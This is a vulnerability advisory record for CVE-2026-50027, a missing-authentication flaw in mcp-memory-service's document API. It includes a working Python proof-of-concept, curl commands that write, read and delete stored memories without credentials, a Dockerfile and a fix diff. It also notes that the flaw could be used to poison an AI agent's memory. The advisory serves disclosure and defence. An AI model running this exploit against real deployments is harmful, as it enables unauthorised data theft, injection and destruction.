{"id":"CVE-2026-50027","aliases":["PYSEC-2026-2624"],"url":"https://o3.security/vulnerability/CVE-2026-50027","summary":"mcp-memory-service: Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete","details":"## Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete\n\n### Summary\n\nAll HTTP routes under `/api/documents/*` in `mcp-memory-service` are served without any authentication dependency, even when the server is configured with an API key (`MCP_API_KEY`) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The `/api/memories` counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical.\n\n### Details\n\nThe `documents.py` router is instantiated without any router-level `dependencies=` parameter and the file does not import `Depends` at all, so no authentication guard is present on any of its routes:\n\n- **`src/mcp_memory_service/web/api/documents.py:33`** — `from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks` (`Depends` is absent)\n- **`src/mcp_memory_service/web/api/documents.py:43`** — `router = APIRouter()` (no `dependencies=` argument)\n\nThe affected endpoints and their data-flow sinks are:\n\n| Route | Line (source) | Sink | Line (sink) |\n|---|---|---|---|\n| `POST /upload` | 149 | `storage.store(memory)` | 449 |\n| `POST /batch-upload` | — | `storage.store(memory)` | — |\n| `GET /history` | — | upload metadata response | — |\n| `GET /search-content/{upload_id}` | 729 | memory content response | 781 |\n| `DELETE /remove/{upload_id}` | — | storage deletion | — |\n| `DELETE /remove-by-tags` | 687 | `storage.delete_by_tags(tags)` | 705 |\n\nThe router is mounted in `src/mcp_memory_service/web/app.py:311`:\n\n```python\napp.include_router(documents_router, prefix=\"/api/documents\")\n```\n\nNo `CORSMiddleware` or authentication middleware applies to these routes at mount time.\n\nBy contrast, the equivalent write endpoint in `memories.py` is correctly protected:\n\n```python\n# src/mcp_memory_service/web/api/memories.py:136\nuser: AuthenticationResult = Depends(require_write_access)\n```\n\nThis demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all `documents.py` routes.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed\n- Repository cloned at `repo`\n\n**Build and run the container**\n\n```bash\ndocker build -t vuln-001-mcp-memory-poc \\\n  -f vuln-001/Dockerfile \\\n  repo\n\ndocker run -d --name vuln-001-poc-container \\\n  -p 18000:8000 vuln-001-mcp-memory-poc:latest\n```\n\nThe container starts `mcp-memory-service` with `MCP_API_KEY=poc-secret-key-12345`, simulating a production deployment where the operator has enabled API-key authentication.\n\n**Execute the PoC**\n\n```bash\npython3 vuln-001/poc.py \\\n  --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345\n```\n\n**Attack chain (6 steps)**\n\n```\n[STEP 1] GET /api/memories (no auth) → HTTP 401   ← auth guard is active on memories API\n[STEP 2] POST /api/memories (with API key) → HTTP 200   ← legitimate user stores sensitive data\n[STEP 3] GET /api/memories (with API key) → HTTP 200  memories_found=1   ← data confirmed\n[STEP 4] POST /api/documents/upload (NO auth) → HTTP 200  upload_id=<uuid>   ← WRITE bypass\n[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200  memories_deleted=1   ← DELETE bypass\n[STEP 6] GET /api/memories (with API key) → HTTP 200  memories_remaining=0   ← integrity impact confirmed\n```\n\nStep 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request.\n\n**Manual curl equivalent**\n\n```bash\n# Confirm auth guard is active on /api/memories\ncurl -i http://127.0.0.1:18000/api/memories\n# → 401 Unauthorized\n\n# Write through document API — no credentials\nprintf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt\nUPLOAD_ID=$(\n  curl -s -X POST http://127.0.0.1:18000/api/documents/upload \\\n    -F \"file=@/tmp/poc.txt\" -F \"tags=cve-poc\" |\n  python3 -c 'import sys,json; print(json.load(sys.stdin)[\"upload_id\"])'\n)\n# → 200 OK\n\nsleep 3\ncurl -s \"http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID\"\n# → content returned without authentication\n\n# Delete by tag — no credentials\ncurl -i -X DELETE \"http://127.0.0.1:18000/api/documents/remove-by-tags\" \\\n  -H \"Content-Type: application/json\" -d '[\"cve-poc\"]'\n# → 200 OK, memories_deleted=1\n```\n\n**Observed output**\n\n- `GET /api/memories` (no auth) returns `401` — the authentication guard is demonstrably active on the memories API.\n- `POST /api/documents/upload` (no auth) returns `200` with a valid `upload_id`.\n- `DELETE /api/documents/remove-by-tags` (no auth) returns `200` with `memories_deleted=1`.\n- A subsequent authenticated `GET /api/memories` returns `memories_remaining=0`, confirming that legitimately stored data was destroyed by an unauthenticated request.\n\n**Remediation**\n\nAdd `Depends(require_write_access)` / `Depends(require_read_access)` to every affected route in `documents.py`:\n\n```diff\n--- a/src/mcp_memory_service/web/api/documents.py\n+++ b/src/mcp_memory_service/web/api/documents.py\n-from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks\n+from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends\n from ..dependencies import get_storage\n+from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult\n\n async def upload_document(\n     background_tasks: BackgroundTasks,\n     file: UploadFile = File(...),\n+    user: AuthenticationResult = Depends(require_write_access),\n\n async def batch_upload_documents(\n     background_tasks: BackgroundTasks,\n     files: List[UploadFile] = File(...),\n+    user: AuthenticationResult = Depends(require_write_access),\n\n-async def get_upload_status(upload_id: str):\n+async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)):\n\n-async def get_upload_history():\n+async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)):\n\n-async def remove_document(upload_id: str, remove_from_memory: bool = True):\n+async def remove_document(upload_id: str, remove_from_memory: bool = True,\n+    user: AuthenticationResult = Depends(require_write_access)):\n\n-async def remove_documents_by_tags(tags: List[str]):\n+async def remove_documents_by_tags(tags: List[str],\n+    user: AuthenticationResult = Depends(require_write_access)):\n\n-async def search_document_content(upload_id: str, limit: int = 1000):\n+async def search_document_content(upload_id: str, limit: int = 1000,\n+    user: AuthenticationResult = Depends(require_read_access)):\n```\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability affecting the HTTP REST server component of `mcp-memory-service`.\n\n**Who is impacted:** Any operator who deploys the HTTP REST server (`memory server --http`) with `MCP_API_KEY` or OAuth enabled, expecting that only authenticated clients can access stored memories. The HTTP server is documented as a supported production feature for team/multi-client deployments.\n\n**Confidentiality:** An unauthenticated attacker can read recently uploaded document content via `GET /api/documents/search-content/{upload_id}` and enumerate upload history via `GET /api/documents/history`. Stored memories may contain sensitive context such as personal notes, AI agent working state, or proprietary data.\n\n**Integrity:** An unauthenticated attacker can inject arbitrary content into the memory store by uploading documents, polluting the AI agent's knowledge base with attacker-controlled data (memory poisoning / prompt injection surface).\n\n**Availability:** An unauthenticated attacker can delete all memories matching any chosen tags via `DELETE /api/documents/remove-by-tags`, or delete individual documents via `DELETE /api/documents/remove/{upload_id}`, causing permanent loss of stored data.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nENV PYTHONDONTWRITEBYTECODE=1\nENV PYTHONUNBUFFERED=1\nENV HF_HOME=/root/.cache/huggingface\n\nWORKDIR /app\n\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n build-essential \\\n && rm -rf /var/lib/apt/lists/*\n\n# Install CPU-only torch first to avoid pulling the large CUDA wheel from PyPI\nRUN pip install --no-cache-dir \\\n \"torch>=2.0.0\" \\\n --index-url https://download.pytorch.org/whl/cpu\n\n# Copy and install the mcp-memory-service from the local repo\nCOPY . /app\nRUN pip install --no-cache-dir -e .\n\n# Pre-download the sentence-transformers embedding model so the container\n# can run fully offline and starts quickly\nRUN python -c \"from sentence_transformers import SentenceTransformer; m = SentenceTransformer('all-MiniLM-L6-v2'); v = m.encode(['preflight']); print('Embedding model ready, dim=' + str(len(v[0])))\"\n\n# ── Runtime config ──────────────────────────────────────────────────────────\n# MCP_API_KEY is set to simulate a production deployment where the operator\n# has enabled API-key authentication. The bug is that /api/documents/* routes\n# ignore this key entirely.\nENV MCP_API_KEY=poc-secret-key-12345\nENV MCP_MEMORY_STORAGE_BACKEND=sqlite_vec\nENV MCP_HTTP_PORT=8000\nENV MCP_HTTP_HOST=0.0.0.0\nENV MCP_MDNS_ENABLED=false\nENV MCP_CONSOLIDATION_ENABLED=false\nENV MCP_BACKUP_ENABLED=false\nENV MCP_QUALITY_SYSTEM_ENABLED=false\n# Prevent any outbound HuggingFace requests at runtime\nENV TRANSFORMERS_OFFLINE=1\nENV HF_DATASETS_OFFLINE=1\n\nEXPOSE 8000\n\nCMD [\"python\", \"run_server.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC – VULN-001: Missing Authentication on Document API Endpoints\nCWE-306 Missing Authentication for Critical Function\nCVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\nAttack chain:\n 1. GET /api/memories (no auth) → 401 (auth guard confirmed active)\n 2. POST /api/memories (with API key) → 200 (legitimate write)\n 3. GET /api/memories (with API key) → 200 (data exists)\n 4. POST /api/documents/upload (NO auth!) → 200 (write bypass)\n 5. DELETE /api/documents/remove-by-tags (NO auth!) → 200 (delete bypass)\n 6. GET /api/memories (with API key) → memory is GONE\n\nStep 6 proves an unauthenticated attacker destroyed data created by a\nlegitimate, authenticated user — confirming full integrity impact.\n\nUsage:\n python3 poc.py [--host 127.0.0.1] [--port 8000] [--api-key poc-secret-key-12345]\n\"\"\"\n\nimport sys\nimport time\nimport json\nimport uuid\nimport argparse\nimport http.client\n\nMARKER = \"VULN001_AUTH_BYPASS_\" + uuid.uuid4().hex[:12].upper()\nTARGET_TAG = f\"vuln001-target-{uuid.uuid4().hex[:6]}\"\n\n\n# ─── low-level helpers ───────────────────────────────────────────────────────\n\ndef http_req(host, port, method, path, body=None, headers=None, timeout=20):\n conn = http.client.HTTPConnection(host, port, timeout=timeout)\n h = dict(headers or {})\n conn.request(method, path, body=body, headers=h)\n resp = conn.getresponse()\n return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n\n\ndef wait_ready(host, port, timeout=120):\n print(f\"[*] Waiting for server at {host}:{port} …\", flush=True)\n deadline = time.time() + timeout\n while time.time() < deadline:\n try:\n s, _ = http_req(host, port, \"GET\", \"/api/health\", timeout=2)\n if s == 200:\n print(\"[+] Server ready\\n\", flush=True)\n return True\n except Exception:\n pass\n time.sleep(1)\n return False\n\n\ndef build_multipart(boundary, filename, file_bytes, tags_str):\n b = boundary.encode()\n return b\"\".join([\n b\"--\" + b + b\"\\r\\n\",\n b'Content-Disposition: form-data; name=\"file\"; filename=\"' + filename.encode() + b'\"\\r\\n',\n b\"Content-Type: /plain\\r\\n\\r\\n\",\n file_bytes,\n b\"\\r\\n--\" + b + b\"\\r\\n\",\n b'Content-Disposition: form-data; name=\"tags\"\\r\\n\\r\\n',\n tags_str.encode(),\n b\"\\r\\n--\" + b + b\"--\\r\\n\",\n ])\n\n\n# ─── individual test steps ───────────────────────────────────────────────────\n\ndef step_memories_no_auth(host, port):\n \"\"\"GET /api/memories without auth must return 401.\"\"\"\n print(\"[STEP 1] GET /api/memories (no auth — expect 401)\", flush=True)\n status, body = http_req(host, port, \"GET\", \"/api/memories\")\n ok = (status == 401)\n print(f\" {'PASS' if ok else 'FAIL'} HTTP {status}\", flush=True)\n return ok, status\n\n\ndef step_store_memory_with_auth(host, port, api_key):\n \"\"\"POST /api/memories with API key — store a 'legitimate' memory.\"\"\"\n print(f\"[STEP 2] POST /api/memories (with API key, tag={TARGET_TAG})\", flush=True)\n payload = json.dumps({\n \"content\": f\"Sensitive memory — {MARKER}\",\n \"tags\": [TARGET_TAG, \"vuln001-demo\"],\n \"memory_type\": \"observation\",\n \"metadata\": {\"poc\": \"VULN-001\"}\n }).encode()\n headers = {\n \"Content-Type\": \"application/json\",\n \"Content-Length\": str(len(payload)),\n \"X-API-Key\": api_key,\n }\n status, body = http_req(host, port, \"POST\", \"/api/memories\", payload, headers)\n ok = status in (200, 201)\n content_hash = None\n try:\n content_hash = json.loads(body).get(\"content_hash\")\n except Exception:\n pass\n print(f\" {'PASS' if ok else 'FAIL'} HTTP {status} hash={content_hash}\", flush=True)\n if not ok:\n print(f\" body: {body[:300]}\", flush=True)\n return ok, status, content_hash\n\n\ndef step_verify_memory_exists(host, port, api_key):\n \"\"\"GET /api/memories with auth — confirm the memory is stored.\"\"\"\n print(\"[STEP 3] GET /api/memories (with API key — confirm data exists)\", flush=True)\n headers = {\"X-API-Key\": api_key}\n status, body = http_req(host, port, \"GET\", f\"/api/memories?tags={TARGET_TAG}\", headers=headers)\n ok = status == 200\n count = 0\n try:\n data = json.loads(body)\n count = data.get(\"total\", len(data.get(\"memories\", [])))\n except Exception:\n pass\n print(f\" {'PASS' if ok else 'FAIL'} HTTP {status} memories_found={count}\", flush=True)\n return ok, status, count\n\n\ndef step_upload_no_auth(host, port):\n \"\"\"POST /api/documents/upload without any credentials — should return 200.\"\"\"\n print(\"[STEP 4] POST /api/documents/upload (NO auth — expect 200)\", flush=True)\n boundary = \"PocBoundary\" + uuid.uuid4().hex\n payload = f\"EVIDENCE: {MARKER}\\nUploaded without authentication — VULN-001.\\n\".encode()\n body = build_multipart(boundary, \"poc_vuln001.txt\", payload, \"poc-evidence,vuln001-demo\")\n headers = {\n \"Content-Type\": f\"multipart/form-data; boundary={boundary}\",\n \"Content-Length\": str(len(body)),\n }\n status, resp = http_req(host, port, \"POST\", \"/api/documents/upload\", body, headers)\n upload_id = None\n try:\n upload_id = json.loads(resp).get(\"upload_id\")\n except Exception:\n pass\n ok = status == 200 and upload_id is not None\n print(f\" {'PASS' if ok else 'FAIL'} HTTP {status} upload_id={upload_id}\", flush=True)\n if not ok:\n print(f\" body: {resp[:300]}\", flush=True)\n return ok, status, upload_id\n\n\ndef step_delete_no_auth(host, port):\n \"\"\"DELETE /api/documents/remove-by-tags without auth — should return 200.\"\"\"\n print(f\"[STEP 5] DELETE /api/documents/remove-by-tags (NO auth, tag={TARGET_TAG})\", flush=True)\n # FastAPI 0.100+ treats List[str] in DELETE as request body (JSON array)\n body = json.dumps([TARGET_TAG, \"vuln001-demo\"]).encode()\n headers = {\n \"Content-Type\": \"application/json\",\n \"Content-Length\": str(len(body)),\n }\n status, resp = http_req(\n host, port, \"DELETE\", \"/api/documents/remove-by-tags\",\n body=body, headers=headers\n )\n ok = status == 200\n deleted = 0\n try:\n deleted = json.loads(resp).get(\"memories_deleted\", 0)\n except Exception:\n pass\n print(f\" {'PASS' if ok else 'FAIL'} HTTP {status} memories_deleted={deleted}\", flush=True)\n if not ok:\n print(f\" body: {resp[:300]}\", flush=True)\n return ok, status, deleted\n\n\ndef step_verify_memory_gone(host, port, api_key):\n \"\"\"GET /api/memories with auth — confirm attacker wiped the data.\"\"\"\n print(\"[STEP 6] GET /api/memories (with API key — verify data was deleted)\", flush=True)\n headers = {\"X-API-Key\": api_key}\n status, body = http_req(host, port, \"GET\", f\"/api/memories?tags={TARGET_TAG}\", headers=headers)\n ok = status == 200\n count = 0\n try:\n data = json.loads(body)\n count = data.get(\"total\", len(data.get(\"memories\", [])))\n except Exception:\n pass\n data_deleted = (ok and count == 0)\n print(f\" {'PASS' if data_deleted else 'NOTE'} HTTP {status} memories_remaining={count}\", flush=True)\n if data_deleted:\n print(\" [+] Memory wiped by unauthenticated attacker — integrity impact confirmed!\", flush=True)\n return ok, status, count\n\n\n# ─── main ────────────────────────────────────────────────────────────────────\n\ndef main():\n ap = argparse.ArgumentParser(description=\"VULN-001 PoC — CWE-306 auth bypass\")\n ap.add_argument(\"--host\", default=\"127.0.0.1\")\n ap.add_argument(\"--port\", type=int, default=8000)\n ap.add_argument(\"--api-key\", default=\"poc-secret-key-12345\",\n help=\"API key configured on the server (simulates legitimate user)\")\n args = ap.parse_args()\n\n print(\"=\" * 65)\n print(\"VULN-001 Missing Authentication on Document API Endpoints\")\n print(\"CWE-306 / CVSS 9.8 (Critical)\")\n print(\"=\" * 65 + \"\\n\")\n\n if not wait_ready(args.host, args.port):\n print(\"[-] Server did not become ready\", flush=True)\n sys.exit(2)\n\n r = {}\n\n # Step 1 — baseline: auth IS enforced on /api/memories\n ok1, s1 = step_memories_no_auth(args.host, args.port)\n r[\"step1_auth_guard_active\"] = {\n \"pass\": ok1,\n \"evidence\": f\"GET /api/memories (no auth) → HTTP {s1}\"\n }\n\n # Step 2 — legitimate user stores a sensitive memory\n ok2, s2, content_hash = step_store_memory_with_auth(args.host, args.port, args.api_key)\n r[\"step2_legitimate_write\"] = {\n \"pass\": ok2,\n \"evidence\": f\"POST /api/memories (with API key) → HTTP {s2}\"\n }\n\n # Step 3 — confirm memory exists\n ok3, s3, mem_count = step_verify_memory_exists(args.host, args.port, args.api_key)\n r[\"step3_data_present\"] = {\n \"pass\": ok3 and mem_count > 0,\n \"evidence\": f\"GET /api/memories (with API key) → HTTP {s3}, count={mem_count}\"\n }\n\n # Step 4 — attacker uploads without auth (WRITE bypass)\n ok4, s4, upload_id = step_upload_no_auth(args.host, args.port)\n r[\"step4_upload_auth_bypass\"] = {\n \"pass\": ok4,\n \"evidence\": f\"POST /api/documents/upload (NO auth) → HTTP {s4}\"\n }\n\n # Step 5 — attacker deletes WITHOUT auth (DELETE bypass)\n ok5, s5, deleted = step_delete_no_auth(args.host, args.port)\n r[\"step5_delete_auth_bypass\"] = {\n \"pass\": ok5,\n \"evidence\": f\"DELETE /api/documents/remove-by-tags (NO auth) → HTTP {s5}, deleted={deleted}\"\n }\n\n # Step 6 — verify legitimate data is gone\n ok6, s6, remaining = step_verify_memory_gone(args.host, args.port, args.api_key)\n r[\"step6_integrity_impact\"] = {\n \"pass\": ok6 and remaining == 0,\n \"evidence\": f\"GET /api/memories (with API key) after attack → count={remaining} (was {mem_count})\"\n }\n\n print(\"\\n\" + \"=\" * 65)\n print(\"RESULTS SUMMARY\")\n print(\"=\" * 65)\n for k, v in r.items():\n sym = \"PASS\" if v[\"pass\"] else \"FAIL\"\n print(f\" [{sym}] {v['evidence']}\", flush=True)\n\n # Core bypass: /api/memories returns 401 BUT /api/documents/* returns 200 without auth\n bypass_proven = ok1 and ok4\n delete_bypass = ok1 and ok5\n\n print(\"\\nKey evidence:\")\n print(f\" Auth guard ACTIVE : GET /api/memories (no auth) → HTTP {s1}\")\n print(f\" Write BYPASS : POST /api/documents/upload (no auth) → HTTP {s4}\")\n print(f\" Delete BYPASS : DELETE /api/documents/remove-by-tags (no auth) → HTTP {s5}\")\n\n overall = \"PASS – auth bypass confirmed\" if (bypass_proven or delete_bypass) else \"FAIL\"\n print(f\"\\nVerdict: {overall}\")\n print(\"=\" * 65)\n sys.exit(0 if (bypass_proven or delete_bypass) else 1)\n\n\nif __name__ == \"__main__\":\n main()\n```","published":"2026-07-02T15:26:23Z","modified":"2026-07-13T16:43:53.370282269Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00503,"percentile":0.41763,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"mcp-memory-service","fixedVersion":"10.67.1"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/doobidoo/mcp-memory-service/security/advisories/GHSA-84hp-mqvj-3p8h"},{"type":"PACKAGE","url":"https://github.com/doobidoo/mcp-memory-service"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-13T16:43:53.370282269Z"}}